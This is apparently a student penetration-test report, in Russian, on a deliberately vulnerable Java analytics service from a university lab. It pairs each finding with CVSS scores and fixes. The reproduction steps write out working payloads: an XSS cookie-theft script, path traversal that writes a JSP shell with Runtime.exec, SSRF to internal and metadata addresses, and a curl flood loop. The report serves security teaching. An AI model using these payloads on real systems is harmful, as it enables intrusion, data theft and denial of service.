| Error Info Disclosure | CWE-209 | ✅ найдено (4×) | ✅ подтверждено |
| Reflected XSS | CWE-79 | ❌ false negative | ✅ подтверждено |
| Missing Authentication | CWE-306 | ❌ false negative | ✅ подтверждено |
| Missing Authorization | CWE-862 | ❌ false negative | ✅ подтверждено |
| Improper Input Validation | CWE-20 | ❌ false negative | ✅ подтверждено |
Вывод: Semgrep (community) нашёл 4 из 8 типов уязвимостей. Инструмент хорошо справляется с синтаксически-очевидными паттернами (прямое использование user input в опасных API). Логические уязвимости, multi-step taint и "отсутствие кода" требуют ручного тестирования. SARIF-отчёт сохранён в semgrep-report.sarif.
| Поле | Значение |
|---|---|
| Компонент | GET /userProfile, UserAnalyticsController.java:134-139 |
| Тип | Stored/Reflected Cross-Site Scripting |
| CWE | CWE-79 — Improper Neutralization of Input During Web Page Generation |
| CVSS v3.1 | 6.1 MEDIUM (AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) |
| Статус | Confirmed |
Описание:
Эндпоинт /userProfile возвращает HTML-страницу, в которую вставляется userName пользователя без экранирования. Значение попадает в хранилище через /register, откуда его может установить любой клиент. При открытии профиля браузер жертвы исполнит произвольный JavaScript.
Шаги воспроизведения:
1. POST /register?userId=evil&userName=<script>alert(document.cookie)</script>
2. GET /userProfile?userId=evil
Ожидаемый результат: имя отображается как текст, спецсимволы экранированы
Фактический результат: <script>alert(document.cookie)</script> выполняется браузером
Влияние: Атакующий может похитить сессионные cookie, выполнить действия от имени жертвы, перенаправить на фишинговый сайт.
Рекомендации по исправлению:
Использовать StringEscapeUtils.escapeHtml4() (Apache Commons Text) перед вставкой любых пользовательских данных в HTML. Установить заголовок Content-Security-Policy.
Security Test Case:
// src/test/java/ru/itmo/testing/lab4/pentest/XssPentestTest.java
// Полный тест уже реализован в этом файле (пример от преподавателя)| Поле | Значение |
|---|---|
| Компонент | GET /exportReport, UserAnalyticsController.java:154 |
| Тип | Path Traversal / Directory Traversal |
| CWE | CWE-22 — Improper Limitation of a Pathname to a Restricted Directory |
| CVSS v3.1 | 9.1 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Статус | Confirmed |
Описание:
Параметр filename подставляется непосредственно в конструктор new File(REPORTS_BASE_DIR + filename) без нормализации пути. Последовательность ../ позволяет выйти за пределы /tmp/reports/ и записать файл в произвольное место на сервере.
Шаги воспроизведения:
1. POST /register?userId=victim&userName=Alice
2. GET /exportReport?userId=victim&filename=../../../../tmp/evil.txt
Ожидаемый результат: 400 Bad Request или файл создан только в /tmp/reports/
Фактический результат: "Report saved to: \tmp\reports\..\..\..\..\tmp\evil.txt"
Файл C:/tmp/evil.txt создан на диске вне базовой директории
Влияние:
Запись в произвольные директории: перезапись конфигурации, деплой вредоносных файлов (.jsp, .class), потенциальный RCE. Через SSRF-цепочку достижимо без прямого доступа к эндпоинту.
Рекомендации по исправлению:
Path base = Paths.get(REPORTS_BASE_DIR).toAbsolutePath().normalize();
Path resolved = base.resolve(filename).normalize();
if (!resolved.startsWith(base)) {
ctx.status(400).result("Invalid filename");
return;
}Security Test Case:
// src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java
@Test
@DisplayName("[EXPLOIT] Path traversal записывает файл вне базовой директории")
void pathTraversalWritesOutsideBaseDir() { ... }| Поле | Значение |
|---|---|
| Компонент | POST /notify, UserAnalyticsController.java:180-186 |
| Тип | Server-Side Request Forgery |
| CWE | CWE-918 — Server-Side Request Forgery |
| CVSS v3.1 | 8.6 HIGH (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N) |
| Статус | Confirmed |
Описание:
callbackUrl передаётся напрямую в new URL(callbackUrl).openConnection() без валидации схемы и хоста. Сервер выполняет HTTP-запрос от своего имени и возвращает атакующему содержимое ответа. Это позволяет использовать сервер как прокси для доступа к внутренней сети.
Шаги воспроизведения:
1. POST /register?userId=victim&userName=Alice
2. POST /notify?userId=victim&callbackUrl=http://localhost:7000/userProfile?userId=victim
Ожидаемый результат: 400 Bad Request (внутренние адреса запрещены)
Фактический результат: "Notification sent. Response: <html><body><h1>Profile: Alice</h1>..."
Сервер вернул внутренний HTML-ответ атакующему.
Влияние:
Доступ к внутренним сервисам (Redis, PostgreSQL, admin-панели), чтение облачных метаданных (http://169.254.169.254/), цепная атака SSRF + Path Traversal.
Рекомендации по исправлению:
Реализовать allowlist допустимых хостов/схем. Запретить localhost, 127.0.0.1, link-local адреса (169.254.x.x), схемы file://, dict://. Использовать DNS rebinding protection.
Security Test Case:
// src/test/java/ru/itmo/testing/lab4/pentest/SsrfPentestTest.java
@Test
@DisplayName("[EXPLOIT] SSRF — сервер читает внутренний эндпоинт через callbackUrl")
void ssrfAccessesInternalEndpoint() { ... }| Поле | Значение |
|---|---|
| Компонент | Все эндпоинты, UserAnalyticsController.java |
| Тип | Missing Authentication for Critical Function |
| CWE | CWE-306 — Missing Authentication for Critical Function |
| CVSS v3.1 | 9.8 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Статус | Confirmed |
Описание:
Ни один эндпоинт не требует аутентификации. userId передаётся как query-параметр и принимается на веру. Любой неавторизованный клиент может выполнить любую операцию от имени любого пользователя без каких-либо учётных данных.
Шаги воспроизведения:
1. POST /register?userId=victim&userName=Alice (жертва регистрируется)
2. GET /totalActivity?userId=victim (атакующий читает данные жертвы)
Ожидаемый результат: 401 Unauthorized
Фактический результат: 200 "Total activity: 480 minutes"
Влияние: Полная компрометация данных всех пользователей. Запись активности, экспорт отчётов, отправка уведомлений — всё доступно без авторизации.
Рекомендации по исправлению: Внедрить механизм аутентификации (JWT, API-ключи, OAuth 2.0). Валидировать токен на каждом запросе через middleware перед обработкой.
Security Test Case:
// src/test/java/ru/itmo/testing/lab4/pentest/AuthorizationPentestTest.java
@Test
@DisplayName("[EXPLOIT] Любой клиент читает данные чужого пользователя без аутентификации")
void unauthenticatedClientReadsOtherUserData() { ... }| Поле | Значение |
|---|---|
| Компонент | Все эндпоинты, UserAnalyticsController.java |
| Тип | Missing Authorization / Broken Access Control |
| CWE | CWE-862 — Missing Authorization |
| CVSS v3.1 | 8.1 HIGH (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) |
| Статус | Confirmed |
Описание:
Отсутствует проверка прав доступа к ресурсам. Пользователь, зная userId другого пользователя, может читать его данные, записывать сессии от его имени и генерировать отчёты. Нет разграничения между "читать свои данные" и "читать чужие данные".
Шаги воспроизведения:
1. POST /register?userId=alice&userName=Alice
2. POST /register?userId=bob&userName=Bob
3. POST /recordSession?userId=alice&loginTime=2023-01-01T00:00:00&logoutTime=2023-12-31T23:59:59
(запрос отправляет bob, подставив userId=alice)
Ожидаемый результат: 403 Forbidden
Фактический результат: "Session recorded" — данные alice изменены
4. GET /totalActivity?userId=alice → 525599 minutes (данные alice фальсифицированы)
Влияние: Горизонтальная эскалация привилегий: пользователь может читать и изменять данные любого другого пользователя системы.
Рекомендации по исправлению: Проверять, что аутентифицированный пользователь запрашивает только свои ресурсы. Реализовать RBAC или ABAC.
Security Test Case:
// src/test/java/ru/itmo/testing/lab4/pentest/AuthorizationPentestTest.java
@Test
@DisplayName("[EXPLOIT] Пользователь записывает сессию от имени другого пользователя")
void userTampersOtherUserSessions() { ... }| Поле | Значение |
|---|---|
| Компонент | POST /recordSession, UserAnalyticsService.java:50 |
| Тип | Improper Input Validation — Business Logic Flaw |
| CWE | CWE-20 — Improper Input Validation |
| CVSS v3.1 | 6.5 MEDIUM (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N) |
| Статус | Confirmed |
Описание:
Сервис принимает сессии, где logoutTime < loginTime, без какой-либо проверки логики. ChronoUnit.MINUTES.between(login, logout) возвращает отрицательное число, которое суммируется с реальной активностью. Атакующий может обнулить или сделать отрицательной накопленную активность любого пользователя.
Шаги воспроизведения:
1. POST /register?userId=victim&userName=Alice
2. POST /recordSession?userId=victim&loginTime=2024-01-01T09:00:00&logoutTime=2024-01-01T17:00:00
3. GET /totalActivity?userId=victim → "Total activity: 480 minutes"
4. POST /recordSession?userId=victim&loginTime=2024-01-01T17:00:00&logoutTime=2024-01-01T09:00:00
(logoutTime раньше loginTime — "отрицательная" сессия)
5. GET /totalActivity?userId=victim
Ожидаемый результат: 400 Bad Request (logoutTime < loginTime)
Фактический результат: "Total activity: 0 minutes" (480 - 480 = 0)
Влияние: Манипуляция данными активности: обнуление статистики жертвы, фальсификация отчётов, нарушение целостности аналитических данных.
Рекомендации по исправлению:
if (!logoutTime.isAfter(loginTime)) {
ctx.status(400).result("logoutTime must be after loginTime");
return;
}Security Test Case:
// src/test/java/ru/itmo/testing/lab4/pentest/InputValidationPentestTest.java
@Test
@DisplayName("[EXPLOIT] Отрицательная сессия обнуляет реальную активность пользователя")
void negativeSessionZerosOutActivity() { ... }| Поле | Значение |
|---|---|
| Компонент | POST /recordSession, GET /monthlyActivity, GET /exportReport, POST /notify — UserAnalyticsController.java:74,115,163,189 |
| Тип | Information Exposure Through an Error Message |
| CWE | CWE-209 — Generation of Error Message Containing Sensitive Information |
| CVSS v3.1 | 5.3 MEDIUM (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N) |
| Статус | Confirmed |
Описание:
В четырёх местах контроллера e.getMessage() возвращается напрямую в тело HTTP-ответа. Это раскрывает внутренние детали: имена классов парсеров, сообщения об ошибках из библиотек, внутренние состояния сервиса.
Шаги воспроизведения:
POST /recordSession?userId=victim&loginTime=INVALID&logoutTime=2024-01-01T00:00:00
Ожидаемый результат: "Invalid request"
Фактический результат: "Invalid data: Text 'INVALID' could not be parsed at index 0"
(раскрыта внутренняя логика java.time.format.DateTimeFormatter)
GET /monthlyActivity?userId=victim&month=2024-01
(пользователь без сессий)
Фактический результат: "Invalid data: No sessions found for user"
(раскрыта логика хранения данных)
Влияние: Помогает атакующему понять внутреннее устройство приложения, облегчает построение более точных атак. Может раскрыть версии библиотек, имена классов.
Рекомендации по исправлению:
Логировать детальное сообщение об ошибке на сервере, клиенту возвращать только обобщённый текст: ctx.status(400).result("Invalid request").
Security Test Case:
// src/test/java/ru/itmo/testing/lab4/pentest/ErrorDisclosurePentestTest.java
@Test
@DisplayName("[EXPLOIT] Невалидная дата раскрывает внутренние детали парсера")
void invalidDateRevealsParserDetails() { ... }| Поле | Значение |
|---|---|
| Компонент | POST /register, POST /recordSession, POST /notify — UserAnalyticsService.java:18-19 |
| Тип | Uncontrolled Resource Consumption |
| CWE | CWE-400 — Uncontrolled Resource Consumption |
| CVSS v3.1 | 7.5 HIGH (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
| Статус | Confirmed |
Описание:
Хранилище (HashMap<String, User>, HashMap<String, List<Session>>) не имеет ограничений на количество записей. Нет rate limiting ни на одном эндпоинте. Атакующий может зарегистрировать неограниченное количество пользователей или добавить миллионы сессий одному пользователю, исчерпав оперативную память сервера (OutOfMemoryError).
Шаги воспроизведения:
# Без ограничений принимает бесконечное число запросов:
for i in {1..100000}; do
curl -X POST "http://localhost:7000/register?userId=user_$i&userName=User_$i"
done
# → OutOfMemoryError, сервер перестаёт отвечать
# Альтернатива: миллионы сессий одному пользователю
# → GET /totalActivity начинает занимать секунды из-за обхода ArrayList
Влияние: Полный отказ в обслуживании: крах JVM из-за OutOfMemoryError, деградация производительности при большом числе сессий.
Рекомендации по исправлению: Внедрить rate limiting (например, Bucket4j), ограничить максимальное число пользователей и сессий на пользователя, использовать персистентное хранилище с индексами.
Security Test Case:
// src/test/java/ru/itmo/testing/lab4/pentest/DosPentestTest.java
@Test
@DisplayName("[EXPLOIT] Отсутствие rate limiting — регистрация тысяч пользователей без отказа")
void noRateLimitingAllowsMassRegistration() { ... }| Поле | Значение |
|---|---|
| Компонент | Весь UserAnalyticsController.java |
| Тип | Insufficient Logging and Monitoring |
| CWE | CWE-778 — Insufficient Logging |
| CVSS v3.1 | 4.3 MEDIUM (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N) |
| Статус | Confirmed |
Описание: В приложении отсутствует какое-либо логирование запросов, ошибок и критичных операций. Нет аудит-трейла: невозможно установить, кто, когда и откуда выполнял операции. После инцидента (например, Path Traversal или SSRF-атаки) восстановить хронологию событий невозможно.
Шаги воспроизведения:
1. POST /exportReport?userId=victim&filename=../../../../etc/cron.d/evil
(атака Path Traversal — файл записан)
2. Проверить логи приложения
Ожидаемый результат: запись в лог с userId, filename, IP-адресом, timestamp
Фактический результат: логов нет — атака неотслеживаема
Влияние: Невозможно обнаружить атаку в реальном времени, восстановить картину инцидента, соответствовать требованиям GDPR/compliance (отсутствие аудит-логов).
Рекомендации по исправлению:
Добавить структурированное логирование через SLF4J/Logback. Логировать: IP-адрес, метод, путь, userId, статус ответа, timestamp для каждого запроса. Критичные операции (/exportReport, /notify) логировать отдельно.
Security Test Case:
// src/test/java/ru/itmo/testing/lab4/pentest/DosPentestTest.java
@Test
@DisplayName("[SECURITY] После атаки Path Traversal сервер не предоставляет аудит-трейл")
void noAuditTrailAfterAttack() { ... }| Поле | Значение |
|---|---|
| Компонент | GET /exportReport, UserAnalyticsController.java:154-160 |
| Тип | Unrestricted File Write / Arbitrary File Write |
| CWE | CWE-434 — Unrestricted Upload of File with Dangerous Type |
| CVSS v3.1 | 9.1 CRITICAL (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Статус | Confirmed |
Описание:
Комбинация Path Traversal (Finding #2) и произвольной записи содержимого (имя пользователя контролируется атакующим через /register). Атакующий регистрирует пользователя с именем, содержащим вредоносный код, затем экспортирует отчёт по traversal-пути. В итоге на диске сервера создаётся файл с атакующим содержимым в произвольном месте.
Шаги воспроизведения:
1. POST /register?userId=rce&userName=<%Runtime.getRuntime().exec("calc")%>
2. GET /exportReport?userId=rce&filename=../../../../var/www/html/shell.jsp
Ожидаемый результат: 400 Bad Request (недопустимый путь или расширение)
Фактический результат: JSP-файл с вредоносным кодом записан в директорию web-сервера
Влияние: Remote Code Execution: если на сервере работает JSP-контейнер (Tomcat/Jetty), созданный файл будет исполнен при обращении к нему. Полная компрометация сервера.
Рекомендации по исправлению:
Ограничить содержимое отчёта — не использовать raw userName. Проверять путь (см. Finding #2). Запретить опасные расширения (.jsp, .php, .class). Запускать приложение с минимальными правами на файловую систему.
Security Test Case:
// src/test/java/ru/itmo/testing/lab4/pentest/PathTraversalPentestTest.java
@Test
@DisplayName("[EXPLOIT] Arbitrary file write: вредоносное имя пользователя попадает в файл вне базовой директории")
void maliciousUsernameWrittenOutsideBaseDir() { ... }